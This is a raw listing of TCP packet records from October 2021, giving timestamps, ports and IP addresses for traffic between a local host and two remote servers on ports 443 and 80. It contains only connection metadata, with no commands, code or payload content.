Oct 29, 2021 14:10:08.097692013 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.097708941 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.097722054 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.097996950 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.098032951 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.098104000 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.098115921 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.098408937 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.098444939 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.098495007 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.098507881 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.098530054 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.098795891 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.098831892 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.098918915 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.098932028 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.098943949 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.099210978 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.099248886 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.099287987 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.099299908 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.099313974 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.099639893 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.099674940 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.099701881 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.099714994 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.099736929 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.100032091 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.100070000 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.100096941 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.100111008 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.100125074 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.100426912 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.100464106 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.100492954 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.100505114 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.100542068 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.118128061 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.118170023 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.118264914 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.118305922 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.118326902 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.118513107 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.118551016 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.118592024 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.118604898 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.118621111 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.118946075 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.118982077 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.119009018 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.119023085 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.119038105 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.119429111 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.119466066 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.119505882 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.119519949 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.119541883 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.119805098 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.119842052 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.119877100 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.119890928 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.119906902 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.120204926 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.120240927 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.120285034 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.120301962 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.120312929 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.120613098 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.120649099 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.120681047 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.120692968 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.120707989 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.120723963 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.120971918 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.121007919 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.121030092 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.121042967 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.121076107 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.121438026 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.121474981 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.121495962 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.121510029 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.121531963 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.121783972 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.121822119 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.121850967 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.121864080 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.121877909 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.121994019 CEST	443	49807	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.122114897 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.123697042 CEST	49807	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.141036034 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.141084909 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.141175985 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.141572952 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.141596079 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.164022923 CEST	80	49808	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.166193008 CEST	49808	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.166348934 CEST	49808	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.181279898 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.191415071 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.191467047 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.231165886 CEST	80	49808	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.241099119 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.241256952 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.241338968 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.241343975 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.241359949 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.241472006 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.241530895 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.241540909 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.241560936 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.241606951 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.241636992 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.241769075 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.241832018 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.241839886 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.241903067 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.241951942 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.241957903 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242033005 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242084980 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.242093086 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242158890 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242209911 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.242217064 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242268085 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242319107 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.242326021 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242378950 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242425919 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.242433071 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242486000 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242535114 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.242542028 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242593050 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242640972 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.242646933 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242697954 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242741108 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.242748022 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242800951 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242845058 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.242854118 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242923021 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.242971897 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.242979050 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243033886 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243082047 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.243091106 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243159056 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243212938 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.243221998 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243288040 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243338108 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.243346930 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243398905 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243449926 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.243459940 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243519068 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243556976 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.243565083 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243627071 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.243633032 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243653059 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243701935 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.243721008 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.243774891 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.259298086 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.259385109 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.259397030 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.259417057 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.259454966 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.259473085 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.259537935 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.259593010 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.259623051 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.259675026 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.259721994 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.259777069 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.259804010 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.259856939 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.259959936 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.260024071 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.260087967 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.260148048 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.260166883 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.260227919 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.260267973 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.260332108 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.260349989 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.260409117 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.260437012 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.260495901 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.260514975 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.260574102 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.260597944 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.260664940 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.260665894 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.260683060 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.260725021 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.277997017 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278069973 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.278079033 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278100967 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278147936 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.278178930 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278235912 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.278254032 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278276920 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278331995 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.278346062 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278366089 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278418064 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.278429031 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278446913 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278501987 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.278515100 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278594971 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278650999 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.278665066 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278682947 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278737068 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.278749943 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278769016 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278820038 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.278831959 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278852940 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278903008 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.278914928 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.278985977 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279038906 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279051065 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279087067 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279139042 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279150963 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279170990 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279238939 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279256105 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279278040 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279331923 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279352903 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279366016 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279382944 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279433012 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279447079 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279465914 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279519081 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279531002 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279551029 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279606104 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279618979 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279638052 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279686928 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279696941 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279716015 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279767990 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279779911 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279798985 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279848099 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279859066 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279889107 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279939890 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.279952049 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.279974937 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.280025005 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.280036926 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.280073881 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.280144930 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.280158997 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.280356884 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.280425072 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.280428886 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.280462027 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.280488968 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.280499935 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.280554056 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.280566931 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.280936956 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.280981064 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.281003952 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.281016111 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.281033039 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.281049013 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.281095982 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.281148911 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.281172037 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.281188011 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.281213999 CEST	443	49809	162.159.134.233	192.168.2.3
Oct 29, 2021 14:10:08.281236887 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.281258106 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.282588005 CEST	49809	443	192.168.2.3	162.159.134.233
Oct 29, 2021 14:10:08.650748014 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.720328093 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.720511913 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.720573902 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.720585108 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.789772987 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.789824009 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.869055986 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.869113922 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.869152069 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.869194984 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.869230986 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.869246960 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.869263887 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.869307995 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.869350910 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.869368076 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.869406939 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.869446993 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.869481087 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.869499922 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.872112036 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.937973976 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938023090 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938062906 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938101053 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938138008 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938177109 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.938193083 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938244104 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.938252926 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938285112 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.938313007 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938355923 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938399076 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.938409090 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938457012 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938487053 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.938513994 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938559055 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938566923 CEST	49810	80	192.168.2.3	5.188.88.203
